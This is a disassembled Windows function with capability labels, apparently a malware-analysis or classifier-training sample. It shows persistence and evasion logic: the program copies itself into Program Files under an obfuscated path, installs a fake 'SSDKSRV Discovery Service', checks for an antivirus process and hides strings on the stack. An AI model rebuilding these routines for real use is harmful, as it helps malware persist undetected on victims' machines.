Function at 0x10006087
Capabilities:
Check os version
Contain obfuscated stackstrings
Copy file
Create thread
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7b0
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetInputState]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
push ebx
lea eax, [ebp - 0xc4]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x2ac]
push eax
mov dword [ebp - 0x2ac], 0x94
call esi
mov eax, 0x1000afee
mov ecx, eax
test ecx, ecx
je 0x100060f3
push 1
push ebx
push ebx
push eax
push 0x100054a4
push ebx
push ebx
call fcn.10006888
add esp, 0x1c
cmp dword [0x1000afe8], ebx
je 0x10006100
call fcn.10005111
cmp byte [0x1000afd8], bl
je 0x10006347
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0x9c
push eax
call esi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.10004d58
add esp, 0xc
cmp dword [ebp - 0xa4], 0xa
jne 0x1000618f
cmp dword [ebp - 0xa0], ebx
jne 0x1000618f
push ebx
push ebx
push ebx
push 0x10005ff9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push ebx
push 0x1000570c
push ebx
push ebx
call fcn.10006888
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10006182
mov al, byte [0x1000afd8]
cmp al, 2
jne 0x100062d8
call fcn.100067b3
test eax, eax
je 0x100061e4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x14], str.Rspaxx_vxnocica
mov dword [ebp - 0x10], 0x10005b88
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [ebp - 0x14]
push eax
call edi
push 0x3e8
call esi
lea eax, [ebp - 0x14]
push eax
call edi
jmp 0x100062cc
lea eax, [ebp - 0x1c8]
push 0x104
push eax
push str._ProgramFiles__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 4]
push str.Terms.exe
push eax
lea eax, [ebp - 0x218]
push eax
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], bl
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x1c8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp byte [ebp + eax - 0x1c9], 0x5c
jne 0x10006249
lea eax, [ebp - 0x1c8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [ebp + eax - 0x1c9], bl
lea eax, [ebp - 0x1c8]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x1c8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x3b0]
push 0xe1
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1c8]
push ebx
push eax
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1000add8
mov esi, str.Rspaxx_vxnocica
push str.SSDKSRV_Discovery_Service
push esi
call fcn.10006423
push 0x1000ac2c
push esi
call fcn.10002ba1
push esi
call fcn.10005168
add esp, 0x18
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100059c4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp al, 1
jne 0x1000641e
mov esi, str.Rspaxx_vxnocica
push 0x1000ac2c
push esi
call fcn.10002ba1
push esi
call fcn.10005168
push str.RavMonD.exe
call fcn.10006c47
add esp, 0x10
test eax, eax
push ebx
push ebx
push ebx
push 0x10005ebf
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push ebx
push 0x1000570c
push ebx
push ebx
call fcn.10006888
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000633a
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7af]
mov byte [ebp - 0x7b0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.Rspaxx_vxnocica
lea eax, [ebp - 4]
push esi
push eax
push esi
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x7b0]
push 0x400
push eax
lea eax, [ebp - 0x14]
push eax
push esi
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x47
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x70
mov byte [ebp - 8], bl
call fcn.10004378
add esp, 0x1c
lea eax, [ebp - 0x7b0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100063ec
push 0x1000ac2c
push esi
call fcn.10002ba1
push esi
call fcn.10005168
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0x1000570c
push ebx
push ebx
call fcn.10006888
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10006411
pop edi
pop esi
pop ebx
leave
ret